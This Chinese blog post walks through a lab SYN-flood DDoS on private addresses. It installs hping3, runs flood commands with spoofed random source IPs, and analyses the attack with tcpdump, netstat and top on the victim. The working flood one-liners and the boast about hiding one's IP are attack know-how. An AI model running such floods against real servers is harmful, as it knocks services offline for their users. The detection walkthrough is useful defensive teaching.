|NO.Z.00019|——————————|NavigationLog|——|DDOS黑客攻击|

一、DDOS攻击概念&黑客攻击
### --- DDOS是分布式拒绝服务攻击,是黑客人员最常使用的攻击方式之一;

~~~		# DDOS是分布式拒绝服务攻击,是黑客人员最常使用的攻击方式之一;
~~~		DDOS攻击的原理:是模拟数以万计的计算机(客户端),
~~~		向目标服务器发起请求(HTTP,TCP,ICMP,ARP),企图耗尽目标服务器的资源,
~~~		目标服务器资源耗尽从而拒绝提供任何服务。
### --- DDOS SYN Flood攻击,也被称为洪水攻击,基于TCP协议去实现;

~~~		# DDOS SYN Flood攻击,也被称为洪水攻击,基于TCP协议去实现;
~~~		SYN Flood攻击原理:黑客人员模拟数以万计的计算机(客户端),批量的,
~~~		并发的向目标服务器发起SYN新建请求+Seq序列号x,突然假死宕机,
~~~		目标服务器收到之后会进行响应的处理,
~~~		服务端也会向客户端发起SYN请求+Seq序列号Y+ACK确认号(x+1)。
~~~		因为客户端突然假死和宕机,客户端是无法向服务端进行第三次握手的确认,
~~~		所以服务端会一直处于等待状态,等客户端的确认,
~~~		服务端为了维持数以万计的半连接请求而耗尽资源(CPU,MEM,DISK,NET),
~~~		拒绝提供任何服务,连正常的用户请求也无法处理了。
### --- DDOS攻击实战:

~~~		# DDOS攻击实战:
~~~		新版本的Hping既Hping3可使用Tcl语言编写脚本,实施了一个引擎,
~~~		可用于对TCP/IP数据包进行基于字符串,人可读的描述,
~~~		那样编程人员就能编写与很短的时间内对TCP/IP数据包执行底层处理和分析有的脚本,
~~~		以通过Hping3来实施分部署服务攻击(DDOS)。使用Hping3从源头IP发起DOS攻击,这意味着:
~~~		你是用Hping3执行拒绝服务攻击(即DOS)
~~~		你隐藏你的a$$(我是指你的源头IP地址)。
~~~		你的目标及其看到的随机随机性源头IP地址中的源头,而不是IP地址(IP伪装)
~~~		你的目标及其会在5分钟里面不堪重负,停止响应。

二、hping3程序make编译部署,yum部署;
### --- yum部署Hping3软件库:

~~~		# 设置第三方yum网络源:
[root@localhost ~]# yum install epel-release -y
 [root@localhost ~]# ll /etc/yum.repos.d/epel*
-rw-r--r-- 1 root root 1050 Nov  1 04:33 /etc/yum.repos.d/epel.repo
-rw-r--r-- 1 root root 1149 Nov  1 04:33 /etc/yum.repos.d/epel-testing.repo
~~~		# 查看hping3是否有软件包:

[root@localhost ~]# yum list  |grep hping3
hping3.x86_64                            0.0.20051105-24.el7           epel
[root@localhost ~]# rpm -qa|grep -ai hping3        					// rpm的方式安装hping3
[root@localhost ~]# yum install -y  hping3              				// yum方式安装hping3
~~~		# 查看hping3 程序文件:
 
[root@localhost ~]# find / -name hping3
/usr/sbin/hping3
### --- 源码部署Hping3软件库:

~~~		# 官网下载Hping3软件包:
[root@localhost ~]# wget  -c http://www.hping.org/hping3-20051105.tar.gz
[root@localhost ~]# tar  -zxvf hping3-20051105.tar.gz					// tar工具解压程序包	
[root@localhost ~]# cd hping3-20051105/							
[root@localhost hping3-20051105]# sed -i 's#i386#x86_64#g' bytesex.h		
[root@localhost hping3-20051105]# mkdir -p /usr/local/include/net
[root@localhost hping3-20051105]# ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h
~~~		# 安装Hping3依赖包
~~~		# TCL是一种语言脚本,最早称为“工具命令语言”“Tool Command Language”
~~~		# 而Libpcap是Unix/linux平台下包捕获函数包,大多数网络监控软件都以他为基础;安装tcl依赖包语言

[root@localhost hping3-20051105]# yum install -y tcl-devel libpcap-devel tcl libpcap 
Installed:
  libpcap-devel.x86_64 14:1.5.3-12.el7                    tcl-devel.x86_64 1:8.5.13-8.el7
~~~		# 预编译、编译、安装

[root@localhost hping3-20051105]# ./configure
[root@localhost hping3-20051105]# make
[root@localhost hping3-20051105]# make install
~~~		# 查看是否安装成功:

[root@localhost hping3-20051105]# ls -l /usr/sbin/hping*
lrwxrwxrwx 1 root root     16 Nov 28 20:44 /usr/sbin/hping -> /usr/sbin/hping3
lrwxrwxrwx 1 root root     16 Nov 28 20:44 /usr/sbin/hping2 -> /usr/sbin/hping3
-rwxr-xr-x 1 root root 616432 Nov 28 20:44 /usr/sbin/hping3
### --- Hping发起DDOS攻击,如何抓包分析并设置防御规则:

~~~		# hping3常用参数:
~~~ -c:		发送数据包的个数
~~~ -d:		每个数据包的大小
~~~ -S:		发送SYN数据包
~~~ -w:		TCP Windows大小
~~~ -p:		目标端口,你可以指定任意端口
~~~ --flood:尽可能快的发送数据包
~~~ --rand-source:	使用随机的IP地址;可以使用-a 或者--specify主机名:
~~~		# hping 在攻击端向目标服务器发起攻击			    // --rand-source把攻击端IP地址暴露出来
[root@localhost ~]# hping3 -S --flood --rand-source -p 80 192.168.1.61		

~~~		# 目标服务器通过tcpdump抓包可以看到攻击端发送的DDOS攻击请求包抓取分析;
[root@localhost ~]# yum install -y  tcpdump
[root@localhost ~]# tcpdump -i ens33 -nn port 80			    // 抓取攻击端服务器的包		
~~~		# 通过netstat分析网络状态:把tcp状态打印出来,并对状态码进行排序;uniq -c:去重

[root@localhost ~]# netstat -an|awk '/^tcp/ {print $0,$NF}'|more
tcp        0      0 0.0.0.0:9090            0.0.0.0:*               LISTEN      LISTEN
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      LISTEN
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      LISTEN
~~~		# 统计SYN_RECV状态数量:
 
[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'|sort -n|uniq -c|sort -nr
6 LISTEN
1 ESTABLISHED
~~~		# 查看被攻击端系统的CPU、MEM使用情况
[root@localhost ~]# top
top - 01:14:27 up  3:10,  2 users,  load average: 0.00, 0.01, 0.05
 
~~~		# 示例
[root@localhost ~]# hping3 -S --flood  -p 80 192.168.1.61			// 把攻击端服务器地址隐藏起来
[root@localhost ~]# tcpdump -i ens33 -nn port 80 and host 192.168.1.60		// 抓取攻击端服务的包

三、模拟DDOS去攻击目标服务器:
### --- 模拟用户正常访问一个网站抓取包分析三次握手,四次挥手的状态:

~~~		# 实验说明:
~~~				攻击端IP:192.168.1.60
~~~				服务端IP:192.168.1.61
~~~		# 在攻击端模拟正常访问网页:192.168.1.61:8080端口,查看现象,正常的三次握手四次挥手包正常状态:

[root@localhost ~]# wget -c http://192.168.1.61:8080/  
--2020-11-28 07:24:24--  http://192.168.1.61:8080/
Connecting to 192.168.1.61:8080... connected.
100%[=============================================================================================================>] 4,833       --.-K/s   in 0s      
2020-11-28 07:24:24 (177 MB/s) -index.htmlsaved [4833/4833]
~~~		# 在服务端:192.168.1.61:抓取正常访问的包,查看包三次握手四次挥手状态信息:

[root@localhost ~]# tcpdump -i ens33 -nn port 8080 and host 192.168.1.60      // 抓取192.168.1.60:8080攻击端访问的包
10:24:26.592128 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [S], seq 191704061, win 29200, options [mss 1460,sackOK,TS val 25248004 ecr 0,nop,wscale 7], length 0
~~~ 第一次握手:客户端通过IP:192.168.1.60.57944:(随机端口)>(请求的方向向服务端IP:8080):192.168.1.61:8080发起flags标记、SYN请求、seq序列号(随机):191704061
10:24:26.592199 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [S.], seq 173774385, ack 191704062, win 28960, options [mss 1460,sackOK,TS val 3435130 ecr 25248004,nop,wscale 7], length 0
~~~ 第二次握手:服务端通过IP:192.168.1.61.8080:(服务端口>(向客户端IP:客户端的随机端口):192.168.1.60.57944发起flags标记,SYN请求,seq序列号(随机):173774385  
~~~ ACK确认号:客户端向服务端发起第一次请求时的seq+1=191704061+1=191704062(表示告诉客户端我已收到你的请求,我同意和你建立连接;同时我也向你发起SYN请求,发起序列号;序列号给包打个标记,防止数据传输中数据紊乱)
10:24:26.592890 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [.], ack 1, win 229, options [nop,nop,TS val 25248005 ecr 3435130], length 0
~~~ 第三次握手:客户端给个回应(确认)使用的第一次握手时的随机端口号:ack=1或者ack=第一次握手seq+2;都表示三次握手建立成功)
~~~ 三次握手建立成功之后,会进行正常的数据传输:

~~~		# 以下为数据传输的过程:
10:24:26.592938 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [P.], seq 1:116, ack 1, win 229, options [nop,nop,TS val 25248005 ecr 3435130], length 115: HTTP: GET / HTTP/1.1
10:24:26.592951 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [.], ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 0  		//length:字节长度
10:24:26.593331 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [.], seq 1:4345, ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 4344: HTTP: HTTP/1.1 200 OK
10:24:26.593483 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [P.], seq 4345:5074, ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 729: HTTP
### --- 模拟黑客攻击一个网站抓取包分析三次握手,四次挥手的状态:

~~~		# 实验说明:
~~~				攻击端IP:  192.168.1.60
~~~				被攻击端IP:192.168.1.61
~~~		# 在攻击端模拟正常访问网页:192.168.1.61:8080端口,查看现象,正常的三次握手四次挥手包正常状态:

[root@localhost ~]#  hping3 -S --flood  -p 8080 192.168.1.61
HPING 192.168.1.61 (ens33 192.168.1.61): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
~~~		# 在服务端:192.168.1.61:抓取正常访问的包,查看包三次握手四次挥手状态信息:

[root@localhost ~]# tcpdump -i ens33 -nn port 8080 and host 192.168.1.60
00:51:18.509027 IP 192.168.1.60.3374 > 192.168.1.61.8080: Flags [S], seq 865254589, win 512, length 0
~~~ 第一次握手:
00:51:18.509037 IP 192.168.1.61.8080 > 192.168.1.60.3374: Flags [S.], seq 3312894581, ack 865254590, win 29200, options [mss 1460], length 0
~~~ 第二次握手:
00:51:18.509083 IP 192.168.1.60.3375 > 192.168.1.61.8080: Flags [S], seq 1487307596, win 512, length 0
~~~ 第一次握手:
00:51:18.509091 IP 192.168.1.61.8080 > 192.168.1.60.3375: Flags [S.], seq 1504167065, ack 1487307597, win 29200, options [mss 1460], length 0
~~~ 第二次握手:
00:51:18.509097 IP 192.168.1.60.3376 > 192.168.1.61.8080: Flags [S], seq 456755539, win 512, length 0
00:51:18.509103 IP 192.168.1.61.8080 > 192.168.1.60.3376: Flags [S.], seq 529484330, ack 456755540, win 29200, options [mss 1460], length 0
~~~ 抓取包分析:抓包分析没有第三次握手客户端回应的情况,就可以确定我们的主机遭到黑客ddos攻击。
~~~		# 用netstat把tcp状态打印出来,并对状态吗进行排序,uniq -c :去重

[root@localhost ~]#  netstat -an|awk '/^tcp\>/ {print $NF}'
SYN_RECV
SYN_RECV
[root@localhost ~]# netstat -an|awk '/^tcp/ {print $0,$NF}'|more
tcp        0      0 192.168.1.61:8080       192.168.1.60:30950      SYN_RECV    SYN_RECV
tcp        0      0 192.168.1.61:8080       192.168.1.60:28622      SYN_RECV    SYN_RECV
tcp        0      0 192.168.1.61:8080       192.168.1.60:41631      SYN_RECV    SYN_RECV
[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'|sort -n|uniq -c|sort -nr
    189 SYN_RECV
      6 LISTEN
      1 ESTABLISHED
~~~		# 查看被攻击端系统的CPU、MEM使用情况
 
[root@localhost ~]# top
top - 01:25:59 up  3:22,  2 users,  load average: 0.68, 0.23, 0.12
Tasks: 123 total,   2 running, 121 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.2 us,  1.3 sy,  0.0 ni, 58.4 id,  0.0 wa,  0.0 hi, 40.1 si,  0.0 st
KiB Mem :  1863040 total,  1477716 free,   152276 used,   233048 buff/cache
KiB Swap:  4194300 total,  4194300 free,        0 used.  1556704 avail Mem 

附录一:
### --- 问题现象:

[root@localhost hping3-20051105]# sed -i 's#i386#x86_64#g' bytesex.h
sed: -e expression #1, char 16: unknown option to `s'
### --- 报错分析:

~~~ 报错信息:报错是因为替换的字符串包含分隔符/
~~~ 所以这行改一下分割符既可以解决了;改成感叹号或者| 等其他来分割
### --- 解决方案:

[root@localhost hping3-20051105]# sed -i 's!i386!x86_64!g' bytesex.h
[root@localhost hping3-20051105]# echo $?
0
[root@localhost hping3-20051105]# sed -i 's|i386|x86_64|g' bytesex.h
[root@localhost hping3-20051105]# echo $?
0

 
 
 
 
 
 

 
 

Walter Savage Landor:strove with none,for none was worth my strife.Nature I loved and, next to Nature, Art:I warm'd both hands before the fire of life.It sinks, and I am ready to depart
                                                                                                                                                   ——W.S.Landor

 

 

posted on   yanqi_vip  阅读(110)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

导航

统计

点击右上角即可分享
微信分享提示